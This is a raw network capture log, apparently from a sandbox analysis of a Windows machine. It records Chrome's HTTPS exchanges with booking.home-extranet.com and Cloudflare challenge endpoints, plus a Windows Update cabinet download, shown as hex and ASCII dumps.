2025-06-10 10:50:36 UTC	1020	IN	HTTP/1.1 200 OK date: Tue, 10 Jun 2025 10:50:36 GMT content-type: text/html; charset=UTF-8 cf-ray: 94d84f09ed7c72f8-DFW expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate cache-control: no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0 pragma: no-cache last-modified: Tuesday, 10-Jun-2025 10:50:36 GMT cf-cache-status: BYPASS report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nDlQimblnevB8xs4pkjHFJBIFQOI3ro5bpLE2rcVaTFjqnk87CXTZYtEVetKsgfbMt4RLW0MJmyFRwXwzRvM%2BYwixkA9kzhByZStzQPfGiTD1JbM0g%2BxQ5mX6DOhou1Ka8mx4TSNnmn7AYqH"}],"group":"cf-nel","max_age":604800} nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} vary: Accept-Encoding server: cloudflare alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=129522&min_rtt=122462&rtt_var=16939&sent=21&recv=19&lost=0&retrans=0&sent_bytes=6043&recv_bytes=1243&delivery_rate=42887&cwnd=243&unsent_bytes=0&cid=f898f5b78cb6667b&ts=17333&x=0"
2025-06-10 10:50:39 UTC	541	OUT	GET /cdn-cgi/challenge-platform/h/b/jsd/r/0.9391523372923027:1749550342:eKHJLqEJc-J1iXzr4QrSoRCkV4EvDI71xkGFKGD4Pnk/94d84f077a7a69d0 HTTP/1.1 host: booking.home-extranet.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=2g86tme34sfbah8mcl0g85f2pu priority: u=1, i
2025-06-10 10:50:39 UTC	747	IN	HTTP/1.1 405 Method Not Allowed date: Tue, 10 Jun 2025 10:50:39 GMT content-length: 0 cf-ray: 94d84f1a9f0f72f8-DFW allow: POST report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4RNleka6VcewgRApzwmdwN%2FK56vvl2JZZ51RELRvEcdgGtJ9FbAbxTsPw%2BCOcYVNtYnIKMgOiMM9A2UxOtG2n0RoOuQysEg3og4rIS%2BEtc8h3h%2F%2BkWA4etX3P%2FzCBU76FuCNmjXL9j188DBk"}],"group":"cf-nel","max_age":604800} nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server: cloudflare alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=127913&min_rtt=122462&rtt_var=12314&sent=24&recv=22&lost=0&retrans=0&sent_bytes=6537&recv_bytes=1386&delivery_rate=42887&cwnd=243&unsent_bytes=0&cid=f898f5b78cb6667b&ts=19765&x=0"
2025-06-10 10:50:50 UTC	421	OUT	GET /api?c=1 HTTP/1.1 host: booking.home-extranet.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 cookie: PHPSESSID=2g86tme34sfbah8mcl0g85f2pu priority: u=1, i
2025-06-10 10:50:50 UTC	1460	IN	HTTP/1.1 403 Forbidden date: Tue, 10 Jun 2025 10:50:49 GMT content-type: text/html; charset=UTF-8 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cf-mitigated: challenge critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: same-origin origin-agent-cluster: ?1 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() referrer-policy: same-origin server-timing: chlray;desc="94d84f5e194a72f8" x-content-type-options: nosniff x-frame-options: SAMEORIGIN cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 expires: Thu, 01 Jan 1970 00:00:01 GMT report-to: {"endpoints":[{"url"
2025-06-10 10:50:50 UTC	655	IN	Data Raw: 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 72 63 6d 4e 39 66 56 38 75 66 4b 45 51 30 7a 6d 32 79 4a 39 79 66 4c 49 50 35 37 30 52 35 70 67 4b 62 6c 67 4c 55 6b 6b 6a 79 39 35 6a 34 36 49 4c 79 31 5a 30 62 61 38 69 45 4e 58 75 73 6d 74 4b 31 76 49 25 32 46 78 50 41 35 50 35 41 51 6c 6c 4c 58 31 34 74 54 32 73 32 5a 63 69 58 4b 52 70 6a 4f 69 4e 68 5a 31 76 35 73 76 4c 32 30 65 43 6c 25 32 46 69 34 31 78 68 48 35 6f 25 32 46 72 42 4b 54 43 47 4a 75 6e 43 6b 39 30 44 68 73 52 36 6a 74 68 25 32 42 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 6e 65 6c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 Data Ascii: :"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rcmN9fV8ufKEQ0zm2yJ9yfLIP570R5pgKblgLUkkjy95j46ILy1Z0ba8iENXusmtK1vI%2FxPA5P5AQllLX14tT2s2ZciXKRpjOiNhZ1v5svL20eCl%2Fi41xhH5o%2FrBKTCGJunCk90DhsR6jth%2B"}],"group":"cf-nel","max_age":604800}nel: {"success_f
2025-06-10 10:50:50 UTC	1460	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4a 75 73 74 20 61 20 6d 6f 6d 65 6e 74 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 6e 6f 66 6f 6c 6c 6f 77 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: <!DOCTYPE html><html lang="en-US"><head><title>Just a moment...</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><meta name="robots" content="noindex,nofollow"><meta name="viewp
2025-06-10 10:50:50 UTC	1460	IN	Data Raw: 4d 7a 6b 34 4c 53 34 7a 4f 44 6b 74 4c 6a 4d 35 4f 43 30 75 4f 54 67 30 49 44 41 74 4c 6a 55 35 4e 79 34 7a 4f 54 67 74 4c 6a 6b 34 4e 53 34 30 4d 44 59 74 4c 6a 4d 35 4e 79 41 78 4c 6a 41 31 4e 69 30 75 4d 7a 6b 33 49 69 38 2b 50 43 39 7a 64 6d 63 2b 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 33 34 70 78 7d 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 32 32 32 3b 63 6f 6c 6f 72 3a 23 64 39 64 39 64 39 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 Data Ascii: Mzk4LS4zODktLjM5OC0uOTg0IDAtLjU5Ny4zOTgtLjk4NS40MDYtLjM5NyAxLjA1Ni0uMzk3Ii8+PC9zdmc+);background-repeat:no-repeat;background-size:contain;padding-left:34px}@media (prefers-color-scheme:dark){body{background-color:#222;color:#d9d9d9}}</style><meta http-equ
2025-06-10 10:50:50 UTC	1460	IN	Data Raw: 46 64 76 61 54 6c 4c 6c 39 6f 7a 6b 66 53 55 53 38 7a 61 45 62 5f 4c 70 63 78 4d 5a 6c 46 77 41 74 6e 4c 41 30 69 4b 74 79 6d 59 4b 57 6a 52 67 65 34 6f 79 5a 2e 5f 46 56 30 6c 52 6f 31 34 7a 49 6a 63 73 59 5a 33 4e 43 48 6d 59 64 50 74 2e 47 36 71 78 4c 59 79 33 76 68 41 70 73 73 70 64 34 4e 48 79 68 6d 75 42 57 32 2e 50 6d 33 4b 56 74 30 2e 37 30 33 2e 39 48 37 61 7a 74 48 6b 66 51 71 52 61 46 56 32 55 68 34 6e 67 4c 59 4a 53 76 30 32 44 36 52 73 6d 59 55 68 4e 4e 46 59 59 42 5f 7a 56 32 74 74 5f 6f 42 79 73 38 6d 78 7a 42 56 4e 37 69 57 70 79 50 46 78 39 55 41 33 37 47 46 31 75 54 39 7a 50 58 4d 76 6f 4b 4f 57 2e 6e 52 4c 7a 49 66 35 43 53 76 47 6a 4c 51 6e 67 5f 36 5a 4f 6c 2e 63 36 33 79 57 38 30 56 4f 36 4f 41 6b 39 6c 2e 46 55 54 6d 58 79 64 47 6d Data Ascii: FdvaTlLl9ozkfSUS8zaEb_LpcxMZlFwAtnLA0iKtymYKWjRge4oyZ._FV0lRo14zIjcsYZ3NCHmYdPt.G6qxLYy3vhApsspd4NHyhmuBW2.Pm3KVt0.703.9H7aztHkfQqRaFV2Uh4ngLYJSv02D6RsmYUhNNFYYB_zV2tt_oBys8mxzBVN7iWpyPFx9UA37GF1uT9zPXMvoKOW.nRLzIf5CSvGjLQng_6ZOl.c63yW80VO6OAk9l.FUTmXydGm
2025-06-10 10:50:50 UTC	1460	IN	Data Raw: 66 41 6f 4c 39 79 4c 5f 6f 51 4b 58 6b 66 61 49 69 6a 65 32 49 74 36 71 46 47 6e 63 43 4d 45 51 46 37 31 38 47 78 64 49 75 65 66 66 68 52 73 64 52 77 70 59 6c 37 49 2e 35 6b 61 5a 32 62 78 77 41 35 62 30 50 78 52 36 59 63 71 73 33 47 4f 45 48 36 70 68 72 35 6a 6c 67 72 7a 34 4a 5f 34 7a 5a 65 47 6e 41 5a 51 6a 53 45 59 31 35 43 76 46 34 53 5f 48 59 57 6c 72 2e 52 2e 37 2e 5a 54 65 38 71 65 69 67 6c 69 79 77 55 35 49 75 79 6a 48 37 6d 48 50 43 51 38 65 57 56 4c 4a 43 48 31 37 59 47 30 6b 70 57 6f 75 68 4a 53 5a 30 49 74 62 4f 5a 70 4c 78 52 6f 47 32 56 57 42 54 30 38 4a 59 66 44 4a 41 75 6f 6c 69 58 74 47 61 58 74 6b 64 74 74 51 38 70 78 4e 49 4b 50 4f 38 68 58 37 50 33 69 63 66 65 32 75 4b 38 47 36 48 66 36 64 33 57 62 55 65 4a 38 67 48 37 5f 66 56 63 31 Data Ascii: fAoL9yL_oQKXkfaIije2It6qFGncCMEQF718GxdIueffhRsdRwpYl7I.5kaZ2bxwA5b0PxR6Ycqs3GOEH6phr5jlgrz4J_4zZeGnAZQjSEY15CvF4S_HYWlr.R.7.ZTe8qeigliywU5IuyjH7mHPCQ8eWVLJCH17YG0kpWouhJSZ0ItbOZpLxRoG2VWBT08JYfDJAuoliXtGaXtkdttQ8pxNIKPO8hX7P3icfe2uK8G6Hf6d3WbUeJ8gH7_fVc1
2025-06-10 10:50:50 UTC	1123	IN	Data Raw: 59 6d 71 52 62 6a 56 78 47 6c 31 54 6d 72 63 78 6a 36 68 78 71 4f 71 7a 57 41 6e 75 4a 64 6e 43 62 41 39 44 65 76 59 4a 34 45 33 55 32 6a 65 41 32 75 67 61 43 78 43 59 65 5f 50 53 72 56 33 47 74 62 39 4d 31 71 46 30 72 78 47 4e 4d 41 61 64 4f 57 48 78 6c 4e 34 7a 72 55 59 58 6a 69 59 64 4d 46 61 36 50 5a 75 57 37 65 78 44 7a 64 35 71 51 68 59 70 42 52 52 71 58 32 57 46 6e 47 4f 59 50 33 76 4c 54 73 4e 76 45 61 48 41 6b 42 54 33 58 71 4b 37 2e 70 52 55 41 49 35 71 38 6d 47 46 5a 4e 42 4f 35 67 6f 67 61 45 58 35 51 5a 71 49 56 72 6d 66 64 49 61 6f 6f 5f 4a 71 76 73 7a 56 74 4a 31 68 31 42 6b 6e 48 47 47 4c 55 22 7d 3b 76 61 72 20 63 70 6f 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 63 70 6f 2e Data Ascii: YmqRbjVxGl1Tmrcxj6hxqOqzWAnuJdnCbA9DevYJ4E3U2jeA2ugaCxCYe_PSrV3Gtb9M1qF0rxGNMAadOWHxlN4zrUYXjiYdMFa6PZuW7exDzd5qQhYpBRRqX2WFnGOYP3vLTsNvEaHAkBT3XqK7.pRUAI5q8mGFZNBO5gogaEX5QZqIVrmfdIaoo_JqvszVtJ1h1BknHGGLU"};var cpo = document.createElement('script');cpo.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49716	104.18.95.41	443	5136	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-06-10 10:50:20 UTC	404	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 host: challenges.cloudflare.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-06-10 10:50:20 UTC	181	IN	HTTP/1.1 200 OK date: Tue, 10 Jun 2025 10:50:20 GMT content-type: image/png content-length: 86 server: cloudflare cf-ray: 94d84ea5ad30e94e-DFW alt-svc: h3=":443"; ma=86400
2025-06-10 10:50:20 UTC	86	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 06 00 00 00 72 b6 0d 24 00 00 00 1d 49 44 41 54 78 01 01 12 00 ed ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 12 00 01 89 8e 89 8c 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRr$IDATxIENDB`
2025-06-10 10:50:21 UTC	617	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/230167020:1749550378:tj5ygFBIu9hJP-0ulKUwN9ks6PfoaNXNSFROpkhdpGQ/94d84e9f18df2cb4/hR_MYkLvo_dFCzK3o43qOJVTLD71jAouO72vh_1MQ00-1749552619-1.2.1.1-JtkZZ37svr_GcDZcLaoNyAg1W9ZtejojDRlx2Bs6ZLU7HqcKOo6Mnvy0RJT.PqIK HTTP/1.1 host: challenges.cloudflare.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-06-10 10:50:21 UTC	423	IN	HTTP/1.1 400 Bad Request date: Tue, 10 Jun 2025 10:50:21 GMT content-type: application/json content-length: 14 cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: mdmuT1mwsAApxJ/mFLpQbD5GtnpdaMpggtN0vDgey8u992RgQilT4ZrmWqGSWa8COTJxNRJK6uD29R0S+xPRrg==$Mw1flJC65Hlz85ScgxYEcA== server: cloudflare cf-ray: 94d84ead1cbae94e-DFW alt-svc: h3=":443"; ma=86400
2025-06-10 10:50:21 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}
2025-06-10 10:50:26 UTC	447	OUT	GET /cdn-cgi/challenge-platform/h/b/d/94d84e9f18df2cb4/1749552620576/1K3_bi7h_dn-nye HTTP/1.1 host: challenges.cloudflare.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-06-10 10:50:26 UTC	182	IN	HTTP/1.1 200 OK date: Tue, 10 Jun 2025 10:50:26 GMT content-type: image/png content-length: 385 server: cloudflare cf-ray: 94d84ec98c15e94e-DFW alt-svc: h3=":443"; ma=86400
2025-06-10 10:50:26 UTC	385	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 46 00 00 00 41 08 06 00 00 00 6c 2b d2 3c 00 00 01 48 49 44 41 54 78 01 ed c0 03 a0 24 59 96 c6 f1 ff 77 ee 8d c8 cc a7 72 4b 63 ae 6d db b6 6d db b6 6d db b6 6d 69 8c 9e 96 4a af 9e 32 33 22 ee f9 76 b7 6a 7a a6 87 3b 6b d5 af 72 d5 f3 43 e5 aa e7 87 ca 55 cf 0f 95 ab 9e 1f 2a 57 3d 3f 54 ae 7a 7e a8 5c f5 fc 50 b9 ea f9 a1 72 d5 f3 43 e5 aa e7 87 ca 55 cf 0f 95 ab 9e 1f 2a 57 3d 3f 54 ae 7a 7e a8 5c f5 fc 50 b9 ea f9 a1 72 d5 f3 43 e5 aa e7 87 ca 55 cf 0f 95 ab 9e 1f 2a 57 3d 3f 54 ae 7a 7e a8 5c f5 fc 50 b9 ea f9 a1 72 d5 f3 43 e5 aa e7 87 ca 55 cf 0f 95 ab 9e 1f 2a 57 3d 3f 54 ae 7a 7e a8 5c f5 fc 50 b9 ea f9 a1 72 d5 f3 43 e5 aa e7 87 ca 55 cf 0f 95 ab 9e 1f 2a 57 3d 3f 54 ae 7a 7e a8 5c f5 fc Data Ascii: PNGIHDRFAl+<HIDATx$YwrKcmmmmiJ23"vjz;krCUW=?Tz~\PrCUW=?Tz~\PrCUW=?Tz~\PrCUW=?Tz~\PrCU*W=?Tz~\
2025-06-10 10:50:26 UTC	617	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/230167020:1749550378:tj5ygFBIu9hJP-0ulKUwN9ks6PfoaNXNSFROpkhdpGQ/94d84e9f18df2cb4/hR_MYkLvo_dFCzK3o43qOJVTLD71jAouO72vh_1MQ00-1749552619-1.2.1.1-JtkZZ37svr_GcDZcLaoNyAg1W9ZtejojDRlx2Bs6ZLU7HqcKOo6Mnvy0RJT.PqIK HTTP/1.1 host: challenges.cloudflare.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-06-10 10:50:26 UTC	423	IN	HTTP/1.1 400 Bad Request date: Tue, 10 Jun 2025 10:50:26 GMT content-type: application/json content-length: 14 cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: mfTIhVbJWtoVQfZxgcmb3b1pjIl/bd33s8kyL49QupRUGlaR2quoABrqh/7VN969Cj8T/l87tVHtOo/Zl1Q7lw==$MUHseVSAgWfdPtTYQVhpVw== server: cloudflare cf-ray: 94d84eca9d4de94e-DFW alt-svc: h3=":443"; ma=86400
2025-06-10 10:50:26 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}
2025-06-10 10:50:35 UTC	617	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/230167020:1749550378:tj5ygFBIu9hJP-0ulKUwN9ks6PfoaNXNSFROpkhdpGQ/94d84e9f18df2cb4/hR_MYkLvo_dFCzK3o43qOJVTLD71jAouO72vh_1MQ00-1749552619-1.2.1.1-JtkZZ37svr_GcDZcLaoNyAg1W9ZtejojDRlx2Bs6ZLU7HqcKOo6Mnvy0RJT.PqIK HTTP/1.1 host: challenges.cloudflare.com user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 accept: / sec-fetch-site: none sec-fetch-mode: cors sec-fetch-dest: empty sec-fetch-storage-access: active accept-encoding: identity accept-language: en-US,en;q=0.9 priority: u=1, i
2025-06-10 10:50:35 UTC	423	IN	HTTP/1.1 400 Bad Request date: Tue, 10 Jun 2025 10:50:35 GMT content-type: application/json content-length: 14 cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: jncoStdFd/J2DAEAqxQch99zYSyAl/QmRqe61EtPwsqUDo24lUNlA+rvMWc4UPaNzef5yKD02mVfmfGXxj0O2Q==$kZyiukOee5LhhITLnH81YA== server: cloudflare cf-ray: 94d84f0678c5e94e-DFW alt-svc: h3=":443"; ma=86400
2025-06-10 10:50:35 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49714	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2025-06-10 10:50:20 UTC	309	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=CXNFVx7sFbv22Kz&MD=NcD3C+lt HTTP/1.1 host: slscr.update.microsoft.com accept: / user-agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 accept-encoding: identity
2025-06-10 10:50:20 UTC	558	IN	HTTP/1.1 200 OK content-type: application/octet-stream date: Tue, 10 Jun 2025 10:50:20 GMT cache-control: no-cache etag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" expires: -1 last-modified: Mon, 01 Jan 0001 00:00:00 GMT pragma: no-cache content-length: 24490 slsversion: 2.0 ms-correlationid: 6a89f36e-318d-47d7-8118-b3e43751a71e ms-requestid: 223282da-25a5-49bb-ba1f-fcfb7f23fa62 ms-cv: hLaLcjVZbEGy6+D1.0 x-content-type-options: nosniff x-microsoft-slsclientcache: 2880 content-disposition: attachment; filename=environment.cab
2025-06-10 10:50:20 UTC	1460	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2025-06-10 10:50:20 UTC	1460	IN	Data Raw: c7 c3 8f 06 b6 24 05 3c f9 2c cb e0 99 86 1a f8 03 ca b3 04 d8 16 f0 f9 32 7f 28 14 e1 08 d8 03 b6 5f ca 00 2c ca e8 4f 1f 06 4e 31 f0 2f 3c 0e 0b 50 12 26 c4 00 85 7e 42 c0 00 c8 0f fa 0d c7 c3 a0 90 23 e5 21 63 33 1e a7 e6 2a f9 c3 ee 4b 69 ce 94 9b 68 c7 7b df ba c7 eb c3 55 b3 50 05 c8 b4 a7 ea a2 5e 5e cd 3a a2 aa 75 43 4b 97 f4 bd 25 ec 55 81 8f 48 6a d4 2b fb 61 52 86 d0 3b 01 14 b0 69 f4 31 7a b6 35 59 f1 51 9b 07 06 22 e9 3b 54 1f 1c 09 53 6c 08 99 9d 74 59 32 ad 33 42 5a f5 2c 05 bf b7 e9 cf 8f 5d 2c 89 c9 8a 5f 6c 65 4c 0c 6d 6a 3f 83 6c b8 bf a3 10 39 92 ad fd bc d8 94 f7 ca 6b ef 90 4b eb 87 76 34 1d 50 f6 0b 7d 4a 62 19 4b 92 ae d4 3f 79 3c 37 e1 2d 6c bc f7 fc 95 94 bd 9c f5 56 86 da 39 b9 b3 67 4c 1a 17 d4 27 59 97 fa bb 03 e7 1b 32 9c 5f Data Ascii: $<,2(_,ON1/<P&~B#!c3*Kih{UP^^:uCK%UHj+aR;i1z5YQ";TSltY23BZ,],_leLmj?l9kKv4P}JbK?y<7-lV9gL'Y2_
2025-06-10 10:50:20 UTC	1460	IN	Data Raw: 99 5f f0 57 d3 49 7b b2 e4 e5 c0 9e f2 e2 b5 17 92 26 2b c1 a3 c2 60 60 5d 36 2c de 60 61 ea e8 98 df 55 7a a8 91 e4 a9 84 e0 3b 6e 95 89 91 fc a7 0f 95 af 35 36 d1 a7 99 9e 88 5e 1c 90 6f 76 55 35 c9 a6 7b 9c 57 31 1c 7d 98 8c a5 d0 5c 66 01 23 08 79 a0 ac fd 28 e3 66 c4 5d bc 06 ed c2 ac 2e 85 85 1d 2c f9 63 f9 ae 62 0a e0 dc fd 65 e4 07 da 27 83 27 db 54 2f 30 4f ab 57 35 d0 e3 25 bc 3a 8a 0f 18 ab 06 65 1d c3 c6 d7 dc 20 e5 92 42 df 59 3a dd 99 b4 1e 33 04 f5 9c 31 69 0f ec 13 9b b8 7c 93 51 3a 5b 90 33 78 d9 c2 f9 a0 e5 54 1d b7 41 12 7c ea 48 f9 8b 32 9d cb 22 59 19 02 65 dd 61 fc 1e b6 2d 6d 85 1b 49 c9 9e 9d a6 e3 15 82 bd e8 4e 07 0a 96 41 09 6c 7a 91 fe 23 c6 ec 81 c3 34 b3 bc bd 6d 1b a2 f9 9d 9a 55 ad 27 0b b3 da 0d 82 7c 98 8d 2d 3b d6 c6 13 Data Ascii: _WI{&+``]6,`aUz;n56^ovU5{W1}\f#y(f].,cbe''T/0OW5%:e BY:31i\|Q:[3xTA\|H2"Yea-mINAlz#4mU'\|-;
